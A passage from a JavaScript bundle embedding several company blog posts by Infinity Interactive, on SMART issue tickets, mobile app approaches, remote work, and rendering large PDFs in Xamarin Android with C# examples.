effectively managed. When I see this in the\nbug tracker for an open source project, or even a\n[commercial product](https://jira.atlassian.com/browse/JRASERVER-38117?jql=project%20%3D%20JRASERVER%20AND%20status%20%3D%20%22Gathering%20Interest%22%20AND%20resolution%20%3D%20Unresolved%20ORDER%20BY%20priority%20DESC%2C%20updated%20DESC),\nI tend to shy away from using that software. A large unmaintained\nbacklog gives me the impression that the folks running the project\nhave given up and just donât care anymore. Itâs not unlike the signal\nyou send to your neighbors when you have a rusted out, half-built kit\ncar up on blocks in your yard.\n\nDonât get me wrong. We still frequently say, âtickets are freeâ here\nat Infinity. Weâve had cases where the notion of free tickets has\nabsolutely saved us from shipping bugs. When we bring somebody new on\nto a project, it is among the very earliest things weâll tell them\nabout how we work: when you think about making a ticket, make a\nticket, right then. Particularly if youâre in the middle of working on\nsomething else, like trying to chase down a bug, or trying to finish\nimplementing a feature. When youâre in that focused zone, and hit some\nsort of pothole or speedbump, donât break focus, donât try to figure\nit out right then â but do make a ticket. Tickets, after all, are\nfree! If it turns out that the ticket isnât needed â maybe you\nmisunderstood how something was meant to work or maybe the ticket\nduplicates another existing ticket â closing a ticket as `WONTFIX` or\n`DUPE` is easy.\n\nWhere the cost of those âfreeâ tickets shows up is that someone needs\nto be cleaning up after the tickets â just like you have to clean up\nafter puppies. Particularly if youâre making it in the heat of the\nmoment, in the middle of doing something else, youâre probably not\ngoing to produce a fully-baked, ready-to-work-on ticket. And thatâs\nokay! At that point, simply capturing the idea so it doesnât get lost\nis the objective. But in order to fully close the loop and realize the\nvalue of your free ticket, somebody on the project team needs to be\nroutinely examining the backlog and making sure all the tickets in\nthere are âgoodâ and ready for somebody to start working on them â and\nif theyâre not, that person should be working with the ticket creator\nto get them into that state.\n\n## good tickets are smart\n\n<div class="float:left">\n <img src="/content/images/blogs/free-puppies-free-tickets-and-being-smart/safire.jpg"\n alt="Picture of a small wrinkly chocolate brown puppy laying on a leopard print blanket inside a dog crate"\n title="Sammy\'s friend, Safire. Safire is a good puppy.">\n</div>\n\nSo, what exactly makes a ticket âgoodâ? Ultimately, the goal of a\nticket is to be closed â a good ticket is a closable ticket. I contend\nthat a good ticket takes the form of a\n[SMART goal](https://en.wikipedia.org/wiki/SMART_criteria). If you\nhavenât run across the acronym before, SMART stands for Specific,\nMeasurable, Actionable, Realistic, and Timebound â all attributes of\ngood, closable tickets.\n\nGood tickets should be **specific**: if the ticket describes a feature\nto be added or a task to be completed, it should contain enough\ninformation about that task or feature that the person the ticket is\nassigned to doesnât need any additional information in order to write\nthe code implementing that feature. If the ticket describes a bug, it\nshould explain the observed behavior of the softw
1are, what the\nexpected behavior of the software is, and include the steps necessary\nto recreate the bug. If either of these conditions isnât met, itâs\nlikely that the ticket isnât specific enough for the assigned person\nto be able to do the work to close it, and more information needs to\nbe added to the ticket. Donât be vague. For example, donât tell a\nprogrammer to make the `H1` font âthe other blue.â Instead, tell them to\nchange the `H1` font to `#0000a0`.\n\nGood tickets should be **measurable**: any quantities, timings, or metrics\nin the ticket should be explicitly spelled out. For example, âsupport\nconcurrencyâ or âreduce application latencyâ, are both bad tickets:\nhow is a programmer supposed to know when theyâre done? Instead, you\nneed to specify the number of concurrent users, or an upper bound on\nthe acceptable latency of the application.\n\nGood tickets need to be **actionable**: tickets should be written so that\nthe summary is a short, directive sentence using an action verb and a\ntarget noun, such as âAdd âcreate accountâ button to login modalâ or\nâIncrease cache size to 1024MBâ. Avoid ticket summaries that contain\nquestions or offer an opinion, like âShould login modal default button\nbe âloginâ or âcreate accountâ?â or âI think we should have a bigger\ncacheâ. Either save those questions for a standup meeting, or create\nan actionable ticket for yourself, such as âDiscuss login modal\ndefault buttonâ. (When tickets are free, tickets frequently lead to\nthe spawning of other ticketsâ¦)\n\nGood tickets need to be **realistic**: generally, when folks create\nunrealistic tickets, itâs because theyâre making tickets that are\nunrealistically large. (This can be a side effect of the ticket being\nnonspecific or unquantified.) Generally speaking, on a\nquickly-iterating project with a team of developers all working\nsimultaneously, a properly-sized ticket is one where the developer\nworking on it can complete their work and submit a pull request within\na day or two at most â ideally in under a day. If their work takes\nlonger than that, the chances of a merge conflict occurring when the\ndeveloper attempts to bring their long-running branch back into the\ncommon code base start to rapidly increase.\n\nFinally, good tickets need to be **time-bound**: project managers and\ndevelopers should have an understanding about how long a particular\nticket will take to complete. Having developers estimate how long it\nwill take to complete a ticket, and then tracking how long it did take\nto complete the ticket, is a great way to practice estimation skills.\nTickets where a developer is unable to commit to a deadline, or where\na developer keeps missing a deadline, may represent cases of tickets\nthat were nonspecific or not written in an actionable way, requiring\nthe developer to commit to more work than they expected.\n\n## the pragmatic tl;dr\n\nOn a practical level, when Iâm making new tickets, I try to follow\njust a few primary guidelines:\n\n1. Every ticket must contain the answer to the question, âwhen can this ticket be closed?â\n1. For task or feature tickets, the ticket summary should be a short\n sentence using an action verb.\n1. For bug tickets, the ticket summary should be a short sentence describing what should happen\n\nFinally, to summarize:\n\n- Puppies are good\n- Keep your tickets as free as possible\n- Make sure your tickets are SMART\n\nThanks for reading my thoughts on this subject. If youâd like to\ndiscuss, feel free to reach out to me on\n[Twitter](https://twitter.com/genehack) or via\n[email](mailto:[email protected]).\n',icon:u.A,color:"yellow"};var m=t(2508);let g={slug:"mobile-development-finding-the-right-solution",title:"Mobile Development: Finding the Right Solution for Your Project",excerpt:"With a growing number of options on how to reach mobile users, learn what's the best option to develop software for the mobile user, whether it's web, native, or cross-platform.",authors:["Sean Sparkman","Paul Zolnierczyk"],publishDate:new Date("2020-04-28"),category:"Development",tags:["Technology","Mobile","
1iOS","Android","Objective-C","Swift","Java","Kotlin","C Sharp","Xamarin"],readTime:"9 min read",content:'<div class="float:left">\n<img src="/content/images/blogs/mobile-development-finding-the-right-solution/post-header-image.png"\n alt="Many mobile phones"\n title="Many mobile phones"\n width="250">\n</div>\n\nWith an estimated 3.2 billion smartphone users in 2019, the mobile app\nindustry is growing and not showing any signs of slowing down. Along\nwith this growth in smartphone usage comes increased demands and\nexpectations from end users. Apps need to use the latest smartphone\nfeatures, be fast & easy to use. This is further complicated with the\nneed to develop for both Android and Apple smartphones as well as\ntablets. For someone with an app idea, considering all these factors\ncan be a bit overwhelming. This is where Infinity Interactive steps\nin. Infinity has extensive experience in the mobile app arena and can\nhelp you identify the best approach for your app and target audience.\nToday, companies are not just restricted to developing a native mobile\napp. They can also build mobile web apps, progressive web apps, and\ncross-platform apps. This post will cover the pros and cons of each\nwith the hope of giving a clear path for taking an app idea into app\nreality.\n\n\x3c!-- cut --\x3e\n\n## mobile web apps\n\n<img src="/content/images/blogs/mobile-development-finding-the-right-solution/mobile-web-app-image.jpg"\n alt="mobile web app"\n title="mobile web app" />\n\n### what is a mobile web app?\n\nA mobile web app can be considered an app accessed via a deviceâs\nbrowser. These web apps are typically developed using technologies\nsuch as HTML, CSS and JavaScript. Mobile web apps tend to be the\nfastest way to build an app that can be used on a mobile device,\nhowever they come with drawbacks that may negate the speed of\ndevelopment. Web apps are dependent on an active internet connection\nto load the content. This causes potential issues when users have slow\nor spotty connections, and typically if something doesnât load quickly\nthe web app is first to be blamed. Overall this can lead to a poor\nexperience for the user. Below we list some pros and cons of this\napproach for consideration on whether this is a good fit.\n\n**pros**\n\n- Easier to maintain\n- Does not need to be submitted to app stores such as Appleâs App\n Store or Googleâs Play Store\n- Can be updated very quickly ensuring all users are using the latest\n version of the web app\n\n**cons**\n\n- Having to support multiple browsers in addition to multiple\n devices/form factors\n- Requires the users to be online with an active internet connection\n- Poor discoverability without an app store\n- Web apps have slower performance and must be downloaded every visit\n- Cannot use all the device features and hardware\n\n## progressive web apps\n\n<img src="/content/images/blogs/mobile-development-finding-the-right-solution/mobile-web-app-image.jpg"\n alt="mobile web app"\n title="mobile web app" />\n\n### what is a progressive web app?\n\nProgressive web apps (PWAs) are web apps that use a specific set of\ntechnologies and patterns that allow for usage of both web and native\nplatform features. One item to have in mind for a mobile app is\ndetermining what device features are critical to the success of a\nproject. Not all device features are accessible from a PWA, such as\nNFC, Bluetooth, or FaceID to name a few on Apple devices. When it\ncomes to Android devices, there is more support for PWAs regarding\naccess to device features. Device and browser features can be explored\nby going to\n[What Web Can Do Today](https://whatwebcando.today/ "what web can do today")\n(sic). One item of caution with PWAs --- the "What Web Can Do Today"\nsite may not always be accurate. For example, the iPhone 11 Pro Max\nsupports âAudio & Video Captureâ if the user uses Safari but not if\nusing Chrome.\n\n**pros**\n\n- All the advantages of the mobile web app\n- Allows for caching of content (This can be a double-edged sword)\n- Has background sync and push notifications\n\n**cons**\n\n- All of the cons of mobile web app without having to download the app\n every time the site is visited\n- Features are limited and are years behind on Apple iOS\n- Requires multiple steps to add to the home screen and the app list\n\n## native apps\n\n<img src="/content/images/blogs/mobile-development-finding-the-right-solution/native-app-image.jpg"\n alt="mobile native app"\n title="mobile native app" />\n\n### what is a native app?\n\nA native mobile app is an application built for a specific device\nfamily and Operating System (OS). These are the apps available to\nAndroid and Apple users in their respective app stores. A native\napplication is compiled to the platform specific binary file and runs\nnatively on the device. Building a native app often means using the\ndevice familyâs programming language to develop an app. You may have\nheard of the term âObjective-Câ or âSwiftâ when it comes to making an\nApple app or perhaps heard of âJavaâ or âKotlinâ when developing an\nAndroid app. There are also other language options available that\ncompile to a native binary, such as C# if using a tool like Xamarin.\nWhen the decision is made to build a native app the first challenge\ntends to be deciding which platform to target. Should it be on Apple\nor Android or both?\n\n**pros**\n\n- The best performance from all four types of applications\n- Allows submission to the app stores for greater discoverability\n- Far better user experience\n- Allows for offline applications\n- Has access to all features and hardware available to applications\n immediately\n- Better accessibility\n- Does not need to support multiple browsers\n- Better control over how the UI is rendered\n- Standardized behavior for UI with built-in navigation and controls\n- Monetization is easier and integrated
1with the platformâs store\n\n**cons**\n\n- Users have higher expectations of native applications\n- Native apps must go through the app store review processes and\n follow the guidelines and rules of each store\n- As a result, updates are slower and can take multiple days to make\n changes to content - that is not controlled by an API\n- Users may be running different versions of the app if they donât\n update\n\n## cross-platform apps\n\n<img src="/content/images/blogs/mobile-development-finding-the-right-solution/cross-platform-image.png"\n alt="mobile web app"\n title="mobile web app" />\n\n### what are cross-platform apps?\n\nA cross-platform app is an application written using a cross-platform\ntool such as React Native or Xamarin.Forms. When written using these\ntechnologies, there is only one programming language to worry about\nand one code base that will create native apps for multiple platforms\nsuch as Apple and Android devices. Cross-platform applications have\ngreatly improved in the past few years. Previously, they all looked\nthe same across platforms, did not take advantage of platform specific\nfeatures, and were very clunky. Now it is almost impossible to tell\nthe difference between a purely native application and a\ncross-platform application.\n\n**pros**\n\n- All of what native apps have with a slight hit to performance\n- Allows for code sharing across multiple platforms including web\n\n**cons**\n\n- May need platform specific knowledge to implement some\n customizations or features\n- The more platform specific an app, the more platform specific code\n must be written which takes away from the amount of code shared\n across platforms\n- More application dependency on third party libraries\n\n## whatâs next?\n\nThis primer covered the different types of approaches to bringing\nmobile app ideas to app reality. The needs of the app will determine\nwhich choice is the best approach. Even if the app is developed with\none choice, itâs never too late to migrate to a different approach.\nThe Facebook app was originally a web view that wrapped around a web\npage which allowed for a native app in the app store. They faced a lot\nof backlash with this approach since it wasnât as responsive as a\nnative app and have since then used native only. Navigating these\nwaters can be intimidating and thatâs where Infinity can help.\n',icon:m.A,color:"violet"};var f=t(1169);let w={slug:"thinking-remote-advice-from-a-guy-whos-been-running-a-fully-distributed-company-since-2005",title:"Thinking remote? Advice from a guy who's been running a fully distributed company since 2005",excerpt:"Some useful tips and tricks about remote work based on a decade+ of actually doing it!",authors:["Jeremy Shao"],publishDate:new Date("2020-03-10"),category:"Culture",tags:["Culture","Remote","Technology","Passions"],readTime:"8 min read",content:"At Infinity, weâve been a fully remote, on-shore tech consultancy and\ncustom software development company since 2005 (founded in 1998), so a\nlot of our friends and contacts have been asking us for advice on\neffectively managing remote co-working. We thought it would be helpful\nto share some of our tips and tricks from both the leadership and\nemployee perspectives.\n\n\x3c!-- cut --\x3e\n\n## For leaders/managers\n\n### Shift your evaluation methodology\n\nThink beyond the conventional categories when assessing the\ncontributions of your team and consider metrics specific to their\nroles and performance. Whatâs more important to you, that someone is\nfirst in the office and last to leave? Or how much value is produced\nduring their day?\n\n### Be explicit about expectations\n\nThis one isnât just tied to remote workers, but is even more important\nhere. Your team will do better if they all know what the expectations\nare and know that they are the same for everyone.\n\n### Promote connectedness and over-communication\n\nBeyond just work talk. Give people forums/avenues for the\nwatercooler-type talk. We have a #general channel for misc\nconversations, but we also have dozens of channels for specific topics\nsuch as #3dprinting, #coffee, #exercise, #gaming, #hiking, #knitting,\n#makers, #music, #parenting, #photography, #travel, and many, many\nmore.\n\n### Promote collaboration\n\nBeing remote doesnât mean being siloed. Using gooDocs for c
1o-editing,\nconference video/calls for brainstorming, and Slack for chat allow for\na team to act like a team (our favorite tools are listed below).\n\n### Promote working in the open\n\nBeing remote, sometimes people will default to DMs or 1:1\nconversations. If these discussions are project-related, they can\nbenefit the whole team if theyâre done in public, e.g. in a team Slack\nchannel.\n\n### Support the art of writing\n\nRemote culture is a writing culture. Help your people develop their\nwriting skills to improve both inter-disciplinary and inter-personal\ncommunications.\n\n### Emphasize balance\n\nWorking from home requires discipline in both directions. Folks need\nto work hard and efficiently, like they would at an office, but also\nneed to walk away. The âend of the dayâ can be harder to mark when\nyouâre home with your laptop. Giving yourself and your team time to\nrecharge is important, but they will need your guidance on the value\nof stepping away.\n\n### Be flexible\n\nBe willing to admit when something isnât working and open-minded\naround finding alternatives to experiment with.\n\nIf your org is going remote for the first time, especially if youâre\ndoing it in response to the current COVID-19 pandemic, expect a\nlearning curve. Let folks know there are going to be mistakes and\nthatâs okay, that youâll work together to address them as they happen.\n\n### TRUST\n\nHire/retain the right people and trust them to do their jobs.\n\nIf you donât trust your people and try to micro-manage them, theyâll\nlower themselves to your expectations.\n\nBy shifting your mindset to that of shared trust and appreciation,\ntheyâll rise to meet or exceed your expectations.\n\n## Our favorite tools\n\n- Slack for communication to connect to people both socially and\n professionally.\n- Zoom, Slack, Skype for calls and video conferences.\n- Google Calendar, which is especially important in remote situations,\n so everyone knows when others are and arenât available.\n- Google Docs and Sheets for working together on documents and\n spreadsheets.\n- Google Drive and Dropbox for managing documents and files.\n- Twitter and Facebook for social connection & ambient information\n awareness.\n- Jira for issue management.\n- Confluence for our internal wiki (not the best, but it integrates\n well with Jira).\n- Github, Gitlab, or Bitbucket for source code management and Bamboo\n for continuous integration and deployment.\n\nBig picture: there are a ton of available tools in this space. What\nyou use specifically is much less important than getting\norganizational alignment on which tool youâre using for which purpose.\nThis will be especially important if your organization is making a\nrapid shift to mainly-remote as a COVID-19 response.\n\n## For remote employees\n\n### Manage your time effectively\n\nDevelop a regular (and realistic) routine. Effectively managing your\nschedule and developing an optimal rhythm will set you up for\nincreased efficiency and performance.\n\nMake sure you have a regularly scheduled lunch break and TAKE IT.\nDonât âone more thingâ your way into skipping lunch.\n\n### Set yourself up for success\n\nSet and regularly assess your monthly/weekly/daily goals. Youâre going\nto have to adjust to slightly different feedback loops and more\nself-management. Documenting and managing your goals will allow you to\ntrack your accomplishments and advocate for continuing to work\nremotely.\n\nDocument clear objectives and success metrics with your manager to\nmake sure that youâre on the same page. This is slightly different\nthan above because your goals might be more granular than your success\nmetrics. Goals will help you build confidence and manage your day.\nSuccess metrics will help your manager manage you and understand your\nvalue to the organization.\n\n### Make yourself comfortable\n\nCreate a dedicated workspace (as best as you can).\n\nEmbrace mobility. Think about using a laptop or tablet for whenever\nyou need a change of scenery, but also take advantage of a larger\nsecond monitor and keyboard for increased productivity.\n\nTry to see the light. Place your desk near a window if possible and\nalso make sure that you have sufficient direct/ambient lighting.\n\n### Manage up (and down)\n\nSchedule weekly or bi-weekly team meetings and one-on-ones (over\nSlack).\n\nâAmbientâ slack hanging out and social channels.\n\n### Be part of the community\n\nSlack channels for socializing (e.g. #cooking, #gardening, #gam
1ing,\n#knitting, #music, etc).\n\nDistinct âfriendâ channels or text message groups for non-work people\ninteraction.\n\nSocial media (but schedule your social media time as a âbreakâ so that\nit doesnât leak into the rest of your day).\n\nMake plans with your friends, attend events and local meetups. Inertia\ncan be a problem if you're used to the commute providing you with the\nnecessary momentum to get out.\n\n### Maintain discipline and focus\n\nCoffee. Lots and lots of coffee (or tea, soda, juice).\n\nTake lots of small mental breaks during the day.\n\nFind âwork musicâ that helps you be focused and also reminds your\nbrain âthis is work time nowâ.\n\nDONâT OVER-SNACK! Itâs really easy to munch your way through your\npantry because you have easy access to it!\n\n### Find your balance\n\nTake a shower and get dressed every morning. You donât have to put on\na suit, but change out of your PJs and into actual clothes.\n\nSet simple ground rules with your family. My door is either open or\nclosed and my family is expected to respect that boundary.\n\nMake sure that you get up and stretch regularly. Take walks and\nschedule exercise to keep your body healthy.\n\nDevelop a routine around ânow I'm going to workâ and ânow Iâm stopping\nwork and going âhomeââ and then stick with it.\n\n## Still not sure?\n\nIf you need more help or advice with setting up remote co-working for\nyou or your organization, feel free to reach out to me. Iâd be happy\nto help you talk through your specific situation as well as our\nexperiences and best practices.\n",icon:f.A,color:"green"};var y=t(9715);let b={slug:"rendering-a-mega-pdf-in-a-xamarin-android-app",title:"Rendering a (mega) PDF in a Xamarin Android app",excerpt:"Even on mobile, sometimes you need to show people a PDF. In your Xamarin Android app, for most situations, having the user download the document to view it outside of the app using Android's native document viewer is probably fine. But what if the design specifies displaying the document in the app? And what if that document is 100+ pages long? We recently ran into this here at Infinity Interactive and needless to say, displaying a PDF in your Xamarin Android app is not as straightforward as one might expect.",authors:["Will Hutchinson"],publishDate:new Date("2019-11-01"),category:"Development",tags:["Xamarin","Android","C Sharp","Technology"],readTime:"7 min read",content:'<div class="float:right">\n<img src="/content/images/blogs/xamarin-android-pdf-renderer/droid-pdf.svg"\n alt="Display a PDF in Xamarin.Android"\n alt="Display a PDF in Xamarin.Android"\n width=250 />\n</div>\n\n## get the PDF\n\nFirst off, we need to retrieve the PDF we want to display. Hereâs how we get a PDF that\'s located in the Assets folder:\n\n```csharp\nStream inputStream = Assets.Open("837pages.pdf");\n\nusing (var outputStream = this.OpenFileOutput("_sample.pdf", Android.Content.FileCreationMode.Private))\n{\n inputStream.CopyTo(outputStream);\n}\n\nvar fileStreamPath = this.GetFileStreamPath("_sample.pdf");\n\nMemoryStream m_memoryStream = new MemoryStream();\nFile.OpenRead(fileStreamPath.AbsolutePath).CopyTo(m_memoryStream);\n\n// use the PDF fileStreamPath\n```\n\nAnd hereâs how we get a PDF that you\'re retrieving as a byte array:\n\n```csharp\nbyte[] pdfData = null;\nFileStream fileStream;\nJava.IO.File file;\nstring filePathTemp;\n\n// get the PDF as a byte[] from your API however you\'d like\npdfData = await GetPdfAsByteArray();\n\nif (pdfData != null)\n{\n string directory = GetExternalFilesDir(null).ToString();\n filePathTemp = System.IO.Path.Combine(directory, "837pages.pdf");\n\n fileStream = System.IO.File.Create(filePathTemp);\n fileStream.Write(pdfData, 0, pdfData.Length);\n fileStream.Close();\n\n file = new Java.IO.File(filePathTemp);\n\n // use the PDF file\n}\n```\n\n## displaying PDFs in android\n\nTo display a PDF on Android you\'re provided with the [PdfRenderer class][]. As specified in the documentation: _"If you want to render a PDF, you create a renderer and for every page you want to render, you open the page, render it, and close the page."_\n\nA typical use of the API to render a PDF looks like:\n\n```csharp\n// create a new renderer\n PdfRenderer renderer = new PdfRenderer(getSeekableFileDescriptor());\n\n // let us just render all pages\n final int pageCount = renderer.getPageCount();\n for (int i = 0; i < pageCount;
1 i++) {\n Page page = renderer.openPage(i);\n\n // say we render for showing on the screen\n page.render(mBitmap, null, null, Page.RENDER_MODE_FOR_DISPLAY);\n\n // do stuff with the bitmap\n\n // close the page\n page.close();\n }\n\n // close the renderer\n renderer.close();\n```\n\nYou can use this along with a pretty basic [RecyclerView][] to display a PDF file. You can render all the pages at the appropriate size, add them to a bitmap list and then pass that list over to your `RecyclerView.Adapter`.\n\n```csharp\nList<Bitmap> pages;\nBitmap bitmap;\n\nvoid RenderPages()\n{\n var renderer = new PdfRenderer(ParcelFileDescriptor.Open(YOUR_PDF_FILE, ParcelFileMode.ReadOnly));\n var screenWidth = Resources.DisplayMetrics.WidthPixels;\n\n // render all pages\n pageCount = renderer.PageCount;\n for (int i = 0; i < pageCount; i++)\n {\n page = renderer.OpenPage(i);\n\n // create bitmap at appropriate size\n var ratio = (float)page.Height / page.Width;\n var newHeight = screenWidth * ratio;\n bitmap = Bitmap.CreateBitmap(screenWidth, (int)newHeight, Bitmap.Config.Argb8888);\n\n // render PDF page to bitmap\n page.Render(bitmap, null, null, PdfRenderMode.ForDisplay);\n\n // add bitmap to list\n pages.Add(bitmap);\n\n // close the page\n page.Close();\n }\n\n // close the renderer\n renderer.Close();\n\n // set RecyclerView.Adapter with bitmap list\n recyclerView.SetAdapter(new RecyclerViewAdapter(pages));\n}\n```\n\n```csharp\npublic class RecyclerViewAdapter : RecyclerView.Adapter\n{\n public List<Bitmap> Pages { get; set; }\n\n public RecyclerViewAdapter(List<Bitmap> pages)\n {\n Pages = pages;\n }\n\n // Bindings to RecyclerView.ViewHolder etc ...\n}\n```\n\nInitially this seems to work fine, especially if the PDF is only a few pages and the device has a decent amount of RAM.\n\n## bitmaps eat memory\n\nIn the real world, however, you can quickly encounter old and underpowered devices which will throw an Out Of Memory (OOM) error crashing your app if the PDF is a bit larger.\n\nThe main cause for the OOM error is the fact that each page of the PDF is rendered as a bitmap. Bitmaps take up quite a bit of memory and if not handled properly things will go boom.\nWhen we ran into this issue here at Infinity, we initially only noticed the OOM error on some lower-end devices. Debugging, we found that on rendering of the pages we\'d hit OOM around 25 pages on a Nexus 5. At first, we focused on preventing the crash on these devices and tried adding a memory usage check. If we hit a certain limit before all the pages were created, we displayed a dialog to let the user know they weren\'t seeing the entire document and that they could download it to see the rest.\n\nHereâs how we did the memory usage check:\n\n```csharp\nvoid RenderPages()\n{\n bool lowMemory;\n\n // render all pages\n for (int i = 0; i < pageGroupCount; i++)\n {\n // render PDF bitmaps ...\n\n // if free memory is less than the size of two page bitmaps and we still have pages left to load\n // we\'ll stop loading and then display a message about downloading the full document\n Debug.WriteLine("\\nMemory usage " + i + ": " + bitmap.ByteCount + " : " + MemoryAvailable() + "\\n");\n if (bitmap.ByteCount * 2 > MemoryAvailable() && i < pageGroupCount - 1)\n {\n lowMemory = true;\n break;\n }\n }\n\n if (lowMemory)\n {\n // display dialog about downloading the full document\n }\n}\n\nlong MemoryAvailable()\n{\n long memoryUsed = Java.Lang.Runtime.GetRuntime().TotalMemory() - Java.Lang.Runtime.GetRuntime().FreeMemory();\n long memoryAvailable = Java.Lang.Runtime.GetRuntime().MaxMemory() - memoryUsed;\n return memoryAvailable;\n}\n```\n\nThis helped prevent the crashes on those specific devices for the time being, but in our later testing of larger document sizes (800+ pages) we still saw OOM crashes on newer devices that weren\'t being caught by the memory usage check due to changes in Android\'s memory handling.\n\n## paging docâ¦ument\n\nOur next shot at a fix was to add some paging functionality and only show the user a few pages at a time. We went with a paging amount of five, but the logic could handle any number. All we had to do on previous or next was _dispose of the bitmaps_ in the list, render the next page group and reset the `RecyclerView.Adapter` with the updated bitmap list. Disposing the previous bitmaps in the list is crucial here. If you only clear the list without disposing of the bitmaps, you\'ll still get OOM errors since the previous bitmaps will still be in memory.\n\n```csharp\n// clear previous bitmaps from memory\nfor (int i = 0; i < pages.Count; i++)\n{\n var image = pages[i];\n image.Dispose();\n image = null;\n}\npages = null;\n```\n\nThis took a little effort to reorganize the page rendering, especially for handling the final page group when it didn\'t match the paging amount (e.g. 3 pages instead of 5). Everything worked out as expected, and we were able to page through a test PDF of about 800 pages without any OOM error. However, this route forces some UI adjustments because we need to add paging buttons and, since the scroll bar is no longer an indicator in relation to the full document, we added a text element to show the user where they are in the document. All this is easy enough, but it requires design changes and associated approvals. Currently, the app is using a [Floating Action Button (FAB)][] at the bottom right of the PDF screen that opens a submenu with options for sending, downloading and printing the PDF. This is a pretty clean layout. Adding more UI elements for paging is only going to clutter things up and leave less screen space for displaying the PDF pages. We decided to explore our options further.\n\n## endless scroll\n\nWhat we really want is the ability to scroll through the entire PDF regardless of its size. This matches the design and is a better user experience.\nThe fix for this is to render only the pages we need as the user scrolls through the document. This can be done if we take the [Basic RecyclerView Example][] and strip it down to only the base `RecyclerView` layout. Essentially, we\'re removing PhotoAlbum.cs and the Button `randPickButton` from Main.axml along with any references to those in MainActivity.cs (full code shared at the end of this post).\n\nWe\'ll replace our initial PDF rendering code with a separate PdfFile.cs class. We\'ll pass our file to this class to handle rendering our individual pages.\
1n\n```csharp\npublic class PdfFile\n{\n PdfRenderer renderer;\n PdfRenderer.Page page;\n Bitmap bitmap;\n List<Bitmap> pages;\n public int ScreenWidth;\n\n public void RenderPDFPagesIntoImages(Java.IO.File file)\n {\n pages = new List<Bitmap>();\n\n // create a new renderer\n try\n {\n renderer = new PdfRenderer(ParcelFileDescriptor.Open(file, ParcelFileMode.ReadOnly));\n NumPages = renderer.PageCount;\n }\n catch (Exception)\n {\n // handle any exceptions\n }\n }\n\n // Return the number of pages in the pdf file:\n public int NumPages { get; private set; }\n\n // Indexer (read only) for accessing a pdf:\n public Bitmap this[int i]\n {\n get\n {\n page = renderer.OpenPage(i);\n\n // create bitmap of page\n var ratio = (float)page.Height / page.Width;\n var newHeight = ScreenWidth * ratio;\n\n bitmap = Bitmap.CreateBitmap(ScreenWidth, (int)newHeight, Bitmap.Config.Argb8888);\n\n // render for showing on the screen\n page.Render(bitmap, null, null, PdfRenderMode.ForDisplay);\n\n page.Close();
1\n page.Dispose();\n\n return bitmap;\n }\n }\n}\n```\n\nWith this set up we\'re able to render our pages on the fly when we bind to our `ViewHolder` in the `RecyclerView.Adapter`.\n\n```csharp\n// Adapter to connect the data set (Pdf file) to the RecyclerView:\npublic class PdfFileAdapter : RecyclerView.Adapter\n{\n // Underlying data set (a pdf file):\n public PdfFile mPdfFile;\n\n // Load the adapter with the data set (pdf file) at construction time:\n public PdfFileAdapter(PdfFile pdfFile)\n {\n mPdfFile = pdfFile;\n }\n\n // Fill in the contents of the pdf card (invoked by the layout manager):\n public override void OnBindViewHolder(RecyclerView.ViewHolder holder, int position)\n {\n PdfViewHolder vh = holder as PdfViewHolder;\n\n // Set the ImageView in this ViewHolder\'s CardView\n // from this position in the pdf file:\n vh.Image.SetImageBitmap(mPdfFile[position]);\n }\n ...\n```\n\n## OMG OOM WTH\n\nThis new set up gets us near where we want to be, but _again_, if the document is too big we\'ll get an OOM error. The `RecyclerView` "enhances performance by recycling views and by enforcing the view-holder pattern, which eliminates unnecessary layout resource lookups." But it doesn\'t clear previous content from memory. To do this, we need to override `OnViewDetachedFromWindow` and recycle our previous bitmaps there.\n\n```csharp\npublic override void OnViewDetachedFromWindow(Java.Lang.Object holder)\n{\n base.OnViewDetachedFromWindow(holder);\n\n var vh = holder as PdfViewHolder;\n var bitmapD = vh.Image.Drawable as BitmapDrawable;\n var bitmap = bitmapD.Bitmap;\n\n vh.Image.SetImageBitmap(null);\n\n if (bitmap != null)\n {\n bitmap.Recycle();\n }\n}\n```\n\n## final tweaks\n\nOnce that bitmap recycling was implemented, scrolling through our large test PDF worked without any OOM error. But it wasnât quite perfect yet. In some instances we noticed an odd issue where after switching the scrolling direction, the first couple views would be empty. For example: when you first opened the document, you could scroll through any number of pages just fine, but when you stopped and started scrolling back, those first couple of views would be blank. Debugging showed that those views were hitting `OnViewDetachedFromWindow` and recycling the bitmap, but when they came back on screen they weren\'t hitting `OnBindViewHolder` again and instead were going straight to `OnViewAttachedToWindow`. To stop this possibility, we decided to check for the PDF page bitmap in `OnViewAttachedToWindow` and if the bitmap wasn\'t there, we\'d add it.\n\n```csharp\npublic override void OnViewAttachedToWindow(Java.Lang.Object holder)\n{\n base.OnViewAttachedToWindow(holder);\n\n var vh = holder as PdfViewHolder;\n var bitmapD = vh.Image.Drawable as BitmapDrawable;\n var bitmap = bitmapD.Bitmap;\n\n if (bitmap == null)\n {\n vh.Image.SetImageBitmap(mPdfFile[vh.LayoutPosition]);\n }\n}\n```\n\n## PDF rendered\n\nThough I\'m not quite sure who wants to look at an 800 page PDF on their phone in the first place, at least it\'s possible. Everything discussed here is available on [GitHub][]. As mentioned earlier in passing, there are some other options you may want to give your users when viewing the PDF, such as downloading, sharing and printing the PDF. We\'ll discuss implementing those in a follow-up post. Cheers!\n\n[pdfrenderer class]: https://docs.microsoft.com/en-us/dotnet/api/Android.Graphics.Pdf.PdfRenderer\n[recyclerview]: https://docs.microsoft.com/en-us/xamarin/android/user-interface/layouts/recycler-view/\n[floating action button (fab)]: https://docs.microsoft.com/en-us/samples/xamarin/monodroid-samples/android50-floatingactionbuttonbasic/\n[basic recyclerview example]: https://docs.microsoft.com/en-us/xamarin/android/user-interface/layouts/recycler-view/recyclerview-example\n[github]: https://github.com/tetowill/xamarin-android-pdf-renderer\n',icon:y.A,color:"purple"},v={slug:"uno-platform",title:"Uno Platform",excerpt:"Introduction to using Uno Platform which uses a single codebase to create native Mobile, Web, and UWP applications.",authors:["Kenzie Whalen"],publishDate:new Date("2019-10-25"),category:"Development",tags:["Xamarin","C Sharp","Mobile","Technology"],readTime:"6 min read",content:'<div class="float:right">\n<img src="/content/images/blogs/uno-platform/uno-logo-large-cut.png"\n alt="Uno Logo"\n alt="Uno Logo"\n width=250>\n</div>\n\nIn the beginning, there were iOS, Android, and the Web. Entirely separate\nplatforms that had to be developed as such.\n\nThen, along came Xamarin. Developers could write iOS and Android apps\nusing a single codebase, but we were still on our own for Web development.\n\nNow, Uno has emerged. Building on top of Xamarin, it gives us the\npower to write iOS, Android, Web, and even UWP applications using\nshared logic and UI!\n\n\x3c!-- cut --\x3e\n\n## what does this mean?\n\nIf you have any experience building a mobile app and a subsequent web\napp, you have 